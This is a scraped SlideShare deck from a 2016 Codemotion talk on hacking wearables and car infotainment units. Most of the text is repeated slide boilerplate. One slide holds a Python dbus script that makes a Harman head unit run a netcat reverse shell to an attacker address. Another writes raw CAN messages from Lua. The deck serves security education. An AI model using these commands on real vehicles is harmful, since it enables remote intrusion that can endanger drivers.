SlideShare a Scribd company logo
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
WEARABLE BOTNETS
AND HAPPY HACKED DRIVERS
Andrea Pompili
There are only 10 types
of people in the world:
Those who understand binary,
and those who don't
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
R8C/25 Group
64 KB Flash memory
3 KB RAM
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
NC30 standard library
statically linked
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
http://deadhacker.com/2010/02/03/jtag-enumeration/
http://openocd.org/doc/html/Debug-Adapter-Hardware.html
https://github.com/synthetos/PiOCD/wiki/Using-a-Raspberry-Pi-as-a-JTAG-Dongle
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
http://www.dataman.com
E8a (R0E00008AKCE00)
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
http://www.limpkin.fr/index.php?post/2012/04/30/Hacking-a-laundry-machine-in-one-day-%28SLE4442%29
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Multiple Bus (max 1Mbps)
UART or I2C (19.2Kbaud)
High Speed and Reliable (10Mbps)
Optical fiber (150Mbps)
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
SAE J1979
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT
Nmap scan report for 192.168.5.1
Host is up (0.0036s latency).
PORT STATE SERVICE
2011/tcp open raid-cc
2021/tcp open servexec
4400/tcp open unknown
6010/tcp open x11
6020/tcp open unknown
6667/tcp open irc
51500/tcp open unknown
65200/tcp open unknown
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
https://www.freedesktop.org/wiki/Software/dbus/
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
#!python
import dbus
bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1, port=6667")
proxy_object = bus_obj.get_object(
'com.harman.service.NavTrailService',
'/com/harman/service/NavTrailService')
playerengine_iface = dbus.Interface(
proxy_object, dbus_interface='com.harman.ServiceIpc')
print playerengine_iface.Invoke(
'execute',
'{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
21.0.0.0/8
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
21.0.0.0/8
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
21.0.0.0/8
21.0.0.0/8
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
iocupdate -c 4 -p usr/share/V850/cmcioc.bin
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
SCLK
MOSI
MISO
SS
SCLK
MOSI
MISO
SS
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
-- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...
g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8,
0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.

Page  ‹N›
Except where otherwise noted, this work is licensed under
http://creativecommons.org/licenses/by-nc-sa/3.0/
ROME 18-19.03.2016
www.codemotionworld.com
Andrea Pompili
apompili@hotmail.com – Xilogic Corp.
Domande?
Italian
‫ة‬َّ‫ي‬َ‫أ‬ ‫ِب‬‫ل‬‫ا‬َ‫ط‬َ‫م‬
Arabic
¿Preguntas?
Spanish
Questions?
English
tupoQghachmey
Klingon
Sindarin
Japanese
Ερωτήσεις?
Greek
вопросы?
Russian

More Related Content

PDF
Pompili - From hero to_zero: The FatalNoise neverending story
PDF
Wearable Botnets and Happy Hacked Drivers - Andrea Pompili - Codemotion Milan...
PDF
Cyber Wars in the Cyber Space - Andrea Pompili - Codemotion Rome 2017
PPTX
Commodore 64 Mon Amour(2): sprite multiplexing. Il caso Catalypse e altre sto...
PDF
Pompili - The miracle of sprite multiplication (C64)
PDF
Chi l'ha detto che i virus su Linux non esistono?
ODP
From object oriented to functional domain modeling
PDF
JavaScript in 2016
Pompili - From hero to_zero: The FatalNoise neverending story
Wearable Botnets and Happy Hacked Drivers - Andrea Pompili - Codemotion Milan...
Cyber Wars in the Cyber Space - Andrea Pompili - Codemotion Rome 2017
Commodore 64 Mon Amour(2): sprite multiplexing. Il caso Catalypse e altre sto...
Pompili - The miracle of sprite multiplication (C64)
Chi l'ha detto che i virus su Linux non esistono?
From object oriented to functional domain modeling
JavaScript in 2016

Similar to Wearable botnets 201560319_v3 (20)

PDF
Attacks, Lies and the Underground World - Andrea Pompili - Codemotion Amsterd...
PDF
Why I've to waste my time on cryptography? - Andrea Pompili - Codemotion Rome...
PDF
Attacchi, bugie e underground digitale by Andrea Pompili
PDF
The magic world of APT 0.6 - Pompili
PDF
The Dark Side of Malware Analysis - Andrea Pompili - Codemotion Rome 2015
PDF
Andrea Pompili - The Dark Side of Malware Analysis
PPTX
Using Java to build robots with high schoolers
PDF
The magic world of Advanced Persistent Threat - Andrea Pompili - Codemotion M...
PPTX
Ignite java-robots
PPT
OER XinXai (NOW)! Dalian OCWC Conference 2008
PDF
Understanding Open Source Licenses
PDF
Understanding Open Source Licenses
PDF
Cloud Native Security: Rotate, Repair, Repave
PDF
This isn't Richard Stallman's Open Source anymore
PPS
ProkatVsego presentation for #sctest 9.0
PDF
Digital Fabrication Studio: IP, Open Design and Metadesign
PDF
Where is the AEC Industry Headed?
PDF
Contract Testing Php-pact
PDF
Ad blocking
PPTX
Big Fish, Little Fish, Cardboard Box: a Tale of Acquisition, Adjustment and A...
Attacks, Lies and the Underground World - Andrea Pompili - Codemotion Amsterd...
Why I've to waste my time on cryptography? - Andrea Pompili - Codemotion Rome...
Attacchi, bugie e underground digitale by Andrea Pompili
The magic world of APT 0.6 - Pompili
The Dark Side of Malware Analysis - Andrea Pompili - Codemotion Rome 2015
Andrea Pompili - The Dark Side of Malware Analysis
Using Java to build robots with high schoolers
The magic world of Advanced Persistent Threat - Andrea Pompili - Codemotion M...
Ignite java-robots
OER XinXai (NOW)! Dalian OCWC Conference 2008
Understanding Open Source Licenses
Understanding Open Source Licenses
Cloud Native Security: Rotate, Repair, Repave
This isn't Richard Stallman's Open Source anymore
ProkatVsego presentation for #sctest 9.0
Digital Fabrication Studio: IP, Open Design and Metadesign
Where is the AEC Industry Headed?
Contract Testing Php-pact
Ad blocking
Big Fish, Little Fish, Cardboard Box: a Tale of Acquisition, Adjustment and A...
Ad

More from Codemotion (20)

PDF
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
PPTX
Pastore - Commodore 65 - La storia
PPTX
Pennisi - Essere Richard Altwasser
PPTX
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
PPTX
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
PPTX
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
PPTX
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
PDF
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
PDF
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
PDF
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
PDF
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
PDF
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
PDF
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
PPTX
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
PPTX
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
PDF
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
PDF
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
PDF
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
PDF
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
PDF
Mike Kotsur - What can philosophy teach us about programming - Codemotion Ams...
Fuzz-testing: A hacker's approach to making your code more secure | Pascal Ze...
Pastore - Commodore 65 - La storia
Pennisi - Essere Richard Altwasser
Michel Schudel - Let's build a blockchain... in 40 minutes! - Codemotion Amst...
Richard Süselbeck - Building your own ride share app - Codemotion Amsterdam 2019
Eward Driehuis - What we learned from 20.000 attacks - Codemotion Amsterdam 2019
Francesco Baldassarri - Deliver Data at Scale - Codemotion Amsterdam 2019 -
Martin Förtsch, Thomas Endres - Stereoscopic Style Transfer AI - Codemotion A...
Melanie Rieback, Klaus Kursawe - Blockchain Security: Melting the "Silver Bul...
Angelo van der Sijpt - How well do you know your network stack? - Codemotion ...
Lars Wolff - Performance Testing for DevOps in the Cloud - Codemotion Amsterd...
Sascha Wolter - Conversational AI Demystified - Codemotion Amsterdam 2019
Michele Tonutti - Scaling is caring - Codemotion Amsterdam 2019
Pat Hermens - From 100 to 1,000+ deployments a day - Codemotion Amsterdam 2019
James Birnie - Using Many Worlds of Compute Power with Quantum - Codemotion A...
Don Goodman-Wilson - Chinese food, motor scooters, and open source developmen...
Pieter Omvlee - The story behind Sketch - Codemotion Amsterdam 2019
Dave Farley - Taking Back “Software Engineering” - Codemotion Amsterdam 2019
Joshua Hoffman - Should the CTO be Coding? - Codemotion Amsterdam 2019
Mike Kotsur - What can philosophy teach us about programming - Codemotion Ams...
Ad

Recently uploaded (20)

PDF
Containerization lab dddddddddddddddmanual.pdf
PDF
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
PDF
Understand the Gitlab_presentation_task.pdf
PDF
Session 1 (Week 1)fghjmgfdsfgthyjkhfdsadfghjkhgfdsa
PDF
Exploring VPS Hosting Trends for SMBs in 2025
PPT
Ethics in Information System - Management Information System
PPTX
Mathew Digital SEO Checklist Guidlines 2025
PDF
Alethe Consulting Corporate Profile and Solution Aproach
PPTX
newyork.pptxirantrafgshenepalchinachinane
PPTX
Power Point - Lesson 3_2.pptx grad school presentation
PDF
mera desh ae watn.(a source of motivation and patriotism to the youth of the ...
PPTX
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
PPTX
Introduction to cybersecurity and digital nettiquette
PPTX
E -tech empowerment technologies PowerPoint
PDF
Uptota Investor Deck - Where Africa Meets Blockchain
PPTX
IPCNA VIRTUAL CLASSES INTERMEDIATE 6 PROJECT.pptx
PDF
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
PDF
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
PPT
12 Things That Make People Trust a Website Instantly
PPTX
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx
Containerization lab dddddddddddddddmanual.pdf
📍 LABUAN4D EXCLUSIVE SERVER STAR GAMING ASIA NO.1 TERPOPULER DI INDONESIA ! 🌟
Understand the Gitlab_presentation_task.pdf
Session 1 (Week 1)fghjmgfdsfgthyjkhfdsadfghjkhgfdsa
Exploring VPS Hosting Trends for SMBs in 2025
Ethics in Information System - Management Information System
Mathew Digital SEO Checklist Guidlines 2025
Alethe Consulting Corporate Profile and Solution Aproach
newyork.pptxirantrafgshenepalchinachinane
Power Point - Lesson 3_2.pptx grad school presentation
mera desh ae watn.(a source of motivation and patriotism to the youth of the ...
Slides PPTX: World Game (s): Eco Economic Epochs.pptx
Introduction to cybersecurity and digital nettiquette
E -tech empowerment technologies PowerPoint
Uptota Investor Deck - Where Africa Meets Blockchain
IPCNA VIRTUAL CLASSES INTERMEDIATE 6 PROJECT.pptx
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
12 Things That Make People Trust a Website Instantly
1402_iCSC_-_RESTful_Web_APIs_--_Josef_Hammer.pptx

Wearable botnets 201560319_v3

  • 1. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. WEARABLE BOTNETS AND HAPPY HACKED DRIVERS Andrea Pompili There are only 10 types of people in the world: Those who understand binary, and those who don't
  • 2. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 3. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 4. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. R8C/25 Group 64 KB Flash memory 3 KB RAM
  • 5. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. NC30 standard library statically linked
  • 6. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 7. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 8. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. http://deadhacker.com/2010/02/03/jtag-enumeration/ http://openocd.org/doc/html/Debug-Adapter-Hardware.html https://github.com/synthetos/PiOCD/wiki/Using-a-Raspberry-Pi-as-a-JTAG-Dongle
  • 9. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. http://www.dataman.com E8a (R0E00008AKCE00)
  • 10. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. http://www.limpkin.fr/index.php?post/2012/04/30/Hacking-a-laundry-machine-in-one-day-%28SLE4442%29
  • 11. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 12. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 13. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp. http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf
  • 14. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 15. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 16. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 17. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 18. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 19. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
  • 20. Page  ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] – Xilogic Corp.
